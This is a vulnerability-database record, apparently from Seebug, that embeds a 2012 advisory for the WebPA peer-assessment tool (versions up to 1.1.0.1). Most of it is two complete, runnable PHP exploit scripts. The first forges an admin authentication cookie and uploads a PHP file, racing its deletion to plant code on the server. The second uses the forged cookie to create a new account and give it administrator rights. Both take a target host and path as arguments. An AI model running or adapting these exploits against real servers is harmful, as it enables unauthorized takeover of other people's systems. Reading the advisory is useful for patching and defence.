DATABASE RESOURCES PRICING ABOUT US

{"lastseen": "2017-11-19T15:23:15", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "poc", "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "href": "https://www.seebug.org/vuldb/ssvid-74620", "references": [], "enchantments_done": [], "id": "SSV:74620", "title": "webpa <= 1.1.0.1 - Multiple Vulnerabilities", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 3, "sourceData": "\n :::::::-. ... ::::::. :::.\r\n ;;, `&#39;;, ;; ;;;`;;;;, `;;;\r\n `[[ [[[[&#39; [[[ [[[[[. &#39;[[\r\n $$, $$$$ $$$ $$$ &#34;Y$c$$\r\n 888_,o8P&#39;88 .d888 888 Y88\r\n MMMMP&#34;` &#34;YmmMMMM&#34;&#34; MMM YM\r\n\r\n [ Discovered by dun \\ posdub[at]gmail.com ]\r\n [ 2012-08-23 ]\r\n ##################################################\r\n # [ WebPA &#60;= 1.1.0.1 ] Multiple Vulnerabilities #\r\n ##################################################\r\n #\r\n # Script: &#34;WebPA is an open source online peer assessment tool that enables\r\n # every team member to recognise individual contributions to group work.&#34;\r\n #\r\n # Vendor: http://www.webpaproject.com/\r\n # Download: http://sourceforge.net/projects/webpa/files/webpa/\r\n # Exploits were tested on:\r\n # Windows (Apache 2.2.17 + php 5.2.17)\r\n # Linux Centos (Apache 2.2.3 (CentOS) + php 5.2.17)\r\n #\r\n ##################################################\r\n # [ Arbitrary File Upload ]\r\n # PoC exploit Code:\r\n &#60;?php\r\n error_reporting(0);\r\n set_time_limit(0);\r\n ini_set(&#34;default_socket_timeout&#34;, 5);\r\n\r\n function http_send($host, $port, $headers) {\r\n $fp = fsockopen($host, $port);\r\n if (!$fp) die(&#39;Connection -&#62; fail&#39;);\r\n fputs($fp, $headers);\r\n return $fp;\r\n }\r\n\r\n function http_recv($fp) {\r\n $ret=&#34;&#34;;\r\n while (!feof($fp))\r\n $ret.= fgets($fp, 1024);\r\n fclose($fp);\r\n return $ret;\r\n }\r\n\r\n print &#34;\\n# WebPA v1.1.0.1 Arbitrary File Upload #\\n&#34;;\r\n print &#34;# Discovered by dun \\ posdub[at]gmail.com #\\n\\n&#34;;\r\n if ($argc &#60; 3) {\r\n print &#34;Usage: php $argv[0] &#60;host&#62; &#60;path&#62;\\n&#34;;\r\n print &#34;Example: php $argv[0] localhost /WebPA/\\n&#34;;\r\n die();\r\n }\r\n\r\n $host = $argv[1];\r\n $path = $argv[2];\r\n $tmp = &#39;tmp/&#39;;\r\n $temp_prefix=&#39;temp_&#39;;\r\n $up_file=&#39;phpinfo.php&#39;;\r\n $i=0;\r\n // preparing cookie for authentication bypass\r\n $cookie = base64_encode((time()*2).&#39;|&#39;.(time()*2).&#39;|&#39;.serialize(array(&#39;user_id&#39;=&#62; &#39;1&#39;, &#39;admin&#39;=&#62; &#39;1&#39;)));\r\n // preparing POST data to perform the maximum delay before deleting temporary php file\r\n $payload = &#34;-----------------------------187161971819895\\r\\n&#34;;\r\n $payload .= &#34;Content-Disposition: form-data; name=\\&#34;uploadedfile\\&#34;; filename=\\&#34;%s\\&#34;\\r\\n&#34;;\r\n $payload .= &#34;Content-Type: text/plain\\r\\n\\r\\n&#34;;\r\n $payload .= &#34;&#60;?php fwrite(fopen(&#39;%s&#39;,&#39;w&#39;),&#39;&#60;?php phpinfo(); ?&#62;&#39;); ?&#62;!&#34;.str_repeat(&#34;A&#34;,40).&#34;\\r\\n&#34;;\r\n // making max lag, before unlink\r\n $payload .= str_repeat(str_repeat(&#34;A!&#34;,1).&#34;!&#34;.str_repeat(&#34;A!&#34;,4).&#34;\\r\\n&#34;,1000).&#34;\\r\\n&#34;; \r\n $payload .= &#34;-----------------------------187161971819895\\r\\n&#34;;\r\n $payload .= &#34;Content-Disposition: form-data; name=\\&#34;rdoFileContentType\\&#34;\\r\\n\\r\\n&#34;;\r\n $payload .= &#34;2\\r\\n&#34;;\r\n $payload .= &#34;-----------------------------187161971819895\\r\\n&#34;;\r\n $payload .= &#34;Content-Disposition: form-data; name=\\&#34;rdoFileSeperator\\&#34;\\r\\n\\r\\n&#34;;\r\n $payload .= &#34;!\\r\\n&#34;;\r\n $payload .= &#34;-----------------------------187161971819895--\\r\\n&#34;;\r\n $headers = &#34;POST {$path}{$tmp}readfile.php HTTP/1.1\\r\\n&#34;;\r\n $headers .= &#34;Host: {$host}\\r\\n&#34;;\r\n $headers .= &#34;Connection: close\\r\\n&#34;;\r\n $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\\r\\n&#34;;\r\n $headers .= &#34;Content-Type: multipart/form-data; boundary=---------------------------187161971819895\\r\\n&#34;;\r\n $headers .= &#34;Content-Length: &#34;.strlen($payload).&#34;\\r\\n\\r\\n&#34;;\r\n $headers .= sprintf($payload, $temp_prefix.$up_file, $up_file);\r\n fclose(http_send($host, 80, $headers));\r\n $headers = &#34;GET {$path}{$tmp}%s HTTP/1.0\\r\\n&#34;;\r\n $headers .= &#34;Host: {$host}\\r\\n&#34;;\r\n $headers .= &#34;Connection: close\\r\\n\\r\\n&#34;;\r\n\r\n while(++$i&#60;1000) {\r\n $res=http_recv(http_send($host, 80, sprintf($headers, $temp_prefix.$up_file)));\r\n if(!preg_match(&#39;/404 Not Found/&#39;,$res)) {\r\n $res=http_recv(http_send($host, 80, sprintf($headers, $up_file)));\r\n if(preg_match(&#39;/200 OK/&#39;,$res))\r\n print &#34;Success!\\n\\nUploaded file: http://{$host}{$path}{$tmp}{$up_file}\\n&#34;;\r\n break;\r\n }\r\n }\r\n if($i==1000) print &#34;Failed.\\n&#34;;\r\n ?&#62;\r\n #\r\n ##################################################\r\n # [ Arbitrary Add Admin ]\r\n # PoC exploit Code:\r\n &#60;?php\r\n error_reporting(0);\r\n set_time_limit(0);\r\n ini_set(&#34;default_socket_timeout&#34;, 5);\r\n\r\n function http_send($host, $port, $headers) {\r\n $fp = fsockopen($host, $port);\r\n if (!$fp) die(&#39;Connection -&#62; fail&#39;);\r\n fputs($fp, $headers);\r\n return $fp;\r\n }\r\n\r\n function http_recv($fp) {\r\n $ret=&#34;&#34;;\r\n while (!feof($fp))\r\n $ret.= fgets($fp, 1024);\r\n fclose($fp);\r\n return $ret;\r\n }\r\n\r\n print &#34;\\n# WebPA v1.1.0.1 Arbitrary Add Admin Exploit #\\n&#34;;\r\n print &#34;# Discovered by dun \\ posdub[at]gmail.com #\\n\\n&#34;;\r\n if ($argc &#60; 5) {\r\n print &#34;Usage: php $argv[0] &#60;host&#62; &#60;path&#62; username password\\n&#34;;\r\n print &#34;Example: php $argv[0] localhost /WebPA/ foo bar\\n&#34;;\r\n die();\r\n }\r\n\r\n $host = $argv[1];\r\n $path = $argv[2];\r\n $newuser = $argv[3];\r\n $newpass = $argv[4];\r\n $cookie = base64_encode((time()*2).&#39;|&#39;.(time()*2).&#39;|&#39;.serialize(array( &#39;user_id&#39;=&#62; &#39;1&#39;, &#39;admin&#39;=&#62; &#39;1&#39; )));\r\n print &#34;Adding a new user [ {$newuser} : {$newpass} ]\\n&#34;;\r\n $payload = &#34;-----------------------------187161971819895\\r\\n&#34;;\r\n $payload .= &#34;Content-Disposition: form-data; name=\\&#34;uploadedfile\\&#34;; filename=\\&#34;user.csv\\&#34;\\r\\n&#34;;\r\n $payload .= &#34;Content-Type: text/csv\\r\\n\\r\\n&#34;;\r\n $payload .= &#34;institutional_reference,forename,lastname,email,username,module_code,department_id,course_id,password\\r\\n&#34;;\r\n $payload .= &#34;1,2,3,4,{$newuser},6,7,8,{$newpass}\\r\\n\\r\\n&#34;;\r\n $payload .= &#34;-----------------------------187161971819895\\r\\n&#34;;\r\n $payload .= &#34;Content-Disposition: form-data; name=\\&#34;rdoFileContentType\\&#34;\\r\\n\\r\\n&#34;;\r\n $payload .= &#34;2\\r\\n&#34;;\r\n $payload .= &#34;-----------------------------187161971819895--\\r\\n&#34;;\r\n $headers = &#34;POST {$path}admin/load/simple.php HTTP/1.1\\r\\n&#34;;\r\n $headers .= &#34;Host: {$host}\\r\\n&#34;;\r\n $headers .= &#34;Connection: close\\r\\n&#34;;\r\n $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\\r\\n&#34;;\r\n $headers .= &#34;Content-Type: multipart/form-data; boundary=---------------------------187161971819895\\r\\n&#34;;\r\n $headers .= &#34;Content-Length: &#34;.strlen($payload).&#34;\\r\\n\\r\\n&#34;;\r\n $headers .= ($payload);\r\n fclose(http_send($host, 80, $headers));\r\n sleep(2);\r\n print &#34;Granting admin privileges for user [ {$newuser} ]\\n&#34;;\r\n $headers = &#34;GET {$path}admin/review/staff/index.php HTTP/1.0\\r\\n&#34;;\r\n $headers .= &#34;Host: {$host}\\r\\n&#34;;\r\n $headers .= &#34;Connection: close\\r\\n&#34;;\r\n $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\\r\\n\\r\\n&#34;;\r\n preg_match_all(&#39;/php\\?u=(\\d+)/&#39;,http_recv(http_send($host, 80, $headers)) , $matches);\r\n if(!is_numeric(max($matches[1]))) die(&#39;Failed.&#39;);\r\n sleep(2);\r\n $payload = &#34;rdo_type=staff&name=1&surname=2&email=3&password={$newpass}&chk_admin=on&save=&#34;.urlencode(&#39;Save Changes&#39;);\r\n $headers = &#34;POST {$path}admin/edit/index.php?u=&#34;.max($matches[1]).&#34; HTTP/1.0\\r\\n&#34;;\r\n $headers .= &#34;Host: {$host}\\r\\n&#34;;\r\n $headers .= &#34;Connection: close\\r\\n&#34;;\r\n $headers .= &#34;Cookie: AUTH_COOKIE={$cookie}\\r\\n&#34;;\r\n $headers .= &#34;Content-Type: application/x-www-form-urlencoded\\r\\n&#34;;\r\n $headers .= &#34;Content-Length: &#34;.strlen($payload).&#34;\\r\\n\\r\\n&#34;;\r\n $headers .= ($payload);\r\n fclose(http_send($host, 80, $headers));\r\n print &#34;Success!\\n\\n&#34;;\r\n print &#34;http://{$host}{$path}login.php\\n&#34;;\r\n print &#34;user: {$newuser}\\n&#34;;\r\n print &#34;pass: {$newpass}\\n&#34;;\r\n ?&#62;\r\n #\r\n ### [ dun / 2012 ] ###############################\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-74620", "type": "seebug", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645468205, "score": 1659785532, "epss": 1678850553}}

{}